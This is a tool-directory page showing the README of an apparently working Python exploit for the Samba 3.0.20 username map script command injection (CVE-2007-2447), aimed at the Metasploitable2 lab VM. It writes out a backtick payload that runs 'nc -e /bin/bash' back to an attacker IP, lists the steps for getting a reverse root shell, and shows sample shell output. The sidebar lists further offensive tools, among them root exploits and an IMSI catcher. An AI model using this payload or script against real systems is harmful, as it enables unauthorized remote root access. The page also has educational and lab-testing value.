Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2007-2447 — Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit. | Kitploit
Ferramentas/GitHubGitHub/rushikesh-a-bhujbal/cve-2007-2447
Payload GenerationExploitationReverse EngineeringWeb Application ExploitationNetwork SecurityPenetration TestingLearning & Education
GitHubrushikesh-a-bhujbal/cve-2007-2447

CVE-2007-2447

Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit.

Ver Repositório
25 de set. de 2026Ainda não revisado
Compartilhar
Conteúdo não disponível no idioma solicitado. Mostrando versão em inglês.

CVE-2007-2447 — Samba 3.0.20 Username Map Script Command Injection

Python Library Platform Target License


Overview

Samba is open-source software that implements the SMB protocol, allowing file and printer sharing between computers on a network — Windows to Linux, Linux to Linux, across mixed environments. It's the standard way Unix/Linux systems participate in Windows-based networks.

CVE-2007-2447 is a command injection vulnerability in Samba versions 3.0.0 through 3.0.25rc3. Unlike CVE-2011-2523 and CVE-2010-2075 (which were supply chain attacks — intentional backdoors), this is a developer mistake: user-supplied input (the username) was passed directly to a shell command without sanitization, allowing an attacker to inject and execute arbitrary system commands.


How the Vulnerability Works

Samba has a feature called username map script — a configuration option that runs a shell script to map incoming usernames to local system usernames. Internally, Samba executes it like this:

/bin/sh -c "map_script.sh <username>"

The developer trusted that usernames would only contain normal characters. They didn't sanitize shell metacharacters like backticks.

In Linux shell, backticks mean "execute this as a command first":

/bin/sh -c "map_script.sh `/=`nohup nc -e /bin/bash KALI_IP 4444`"

The shell executes the backtick content before map_script.sh even runs — giving the attacker direct command execution as whatever user Samba is running as (root on Metasploitable2).


Vulnerability Class Comparison

CVE-2011-2523CVE-2010-2075CVE-2007-2447
TypeSupply chain (intentional backdoor)Supply chain (intentional backdoor)Developer mistake (command injection)
ProtocolFTPIRCSMB
Trigger:) in usernameAB; prefixbackticks in username
Shell typeBind shellReverse shellReverse shell

What This Script Does

  1. Opens a listener on Kali port 4444 — waiting for the reverse shell
  2. Connects to the target on port 445 using impacket's SMB client
  3. Sends a login attempt with a malicious username containing the payload: /=`nohup nc -e /bin/bash KALI_IP 4444`
  4. Samba passes the username to /bin/sh -c — shell executes the backticks
  5. nohup nc on the target connects back to Kali port 4444 with a bash shell
  6. listener.accept() receives the incoming shell connection
  7. Interactive root shell loop begins

Payload Explained

/=`nohup nc -e /bin/bash 192.168.15.129 4444`
  • /= → satisfies Samba's username format requirement
  • ` ` → shell backticks — execute everything inside as a command
  • nohup → keeps the process alive even after Samba closes the connection
  • nc → netcat — raw networking tool
  • -e /bin/bash → attach bash to the connection — gives whoever connects a shell
  • 192.168.15.129 4444 → your Kali IP and listening port

Requirements

  • Python 3.x
  • impacket library
  • netcat on the target (present by default on Metasploitable2)
  • Target: Metasploitable2 running Samba 3.0.20

Install impacket:

pip install impacket

Usage

git clone https://github.com/rushikesh-a-bhujbal/CVE-2007-2447.git
cd CVE-2007-2447
pip install impacket

Edit main.py:

kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"

Run:

python3 main.py

Example output:

[*] Listening on port 4444...
[+] Payload sent. Waiting for shell...
[+] Shell received from ('192.168.15.132', 37665)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/
> exit

Error Handling

ScenarioBehaviour
SMB connection refusedException raised, script exits
Login fails (expected)Caught silently — payload already fired
Shell never connects backlistener.accept() blocks indefinitely
Command produces no outputrecv() times out silently, returns to prompt

Tested Against

  • Metasploitable2 (intentionally vulnerable VM)
  • Samba 3.0.20
  • Linux metasploitable 2.6.24-16-server

Legal Disclaimer

This exploit is developed strictly for educational purposes and authorized security research only.

Built and tested exclusively against a local Metasploitable2 virtual machine in a fully isolated lab environment.

Do not use this against any system you do not own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.

The author accepts no responsibility for misuse of this code.


References

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2007-2447
  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  • ExploitDB: https://www.exploit-db.com/exploits/16320
  • Metasploitable2: https://sourceforge.net/projects/metasploitable/

Author

Rushikesh Bhujbal
Security Research & Exploit Development
GitHub

Ferramentas relacionadas

  • metasploit-framework

    Framework de exploração de código aberto com sistema modular de payload, codificador e auxiliar para testes de penetração, validação de vulnerabilidades e pesquisa de segurança em redes e aplicações.

  • donut

    Gera shellcode independente de posição para x86, x64 ou AMD64+x86 que carrega assemblies .NET, arquivos PE e outros payloads do Windows a partir da memória e os executa com parâmetros.

  • sRDI

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    Callisto

    jetp1ane/callisto

    Ferramenta automatizada de análise de vulnerabilidades binárias que descompila executáveis via Ghidra, verifica código pseudo-C com Semgrep e valida descobertas usando GPT-3.5-Turbo para reduzir falsos positivos.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    Plataforma IMSI Catcher que implanta uma célula GSM falsa para intercetar SMS, injetar mensagens e rastrear dispositivos móveis

    721
  • 4

    opencti

    opencti-platform/opencti

    Plataforma Aberta de Inteligência de Ameaças Cibernéticas

    535
  • 5

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Ferramenta de root para Android para Samsung Galaxy S25 Ultra (SM-S938B) que encadeia DirtyFrag CVE-2026-43284 e CVE-2026-43499 para obter root automaticamente no boot via KernelSU.

    419

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Baixar ferramenta

Implementação em shellcode de injeção reflexiva de DLL. Converta DLLs em shellcode independente de posição.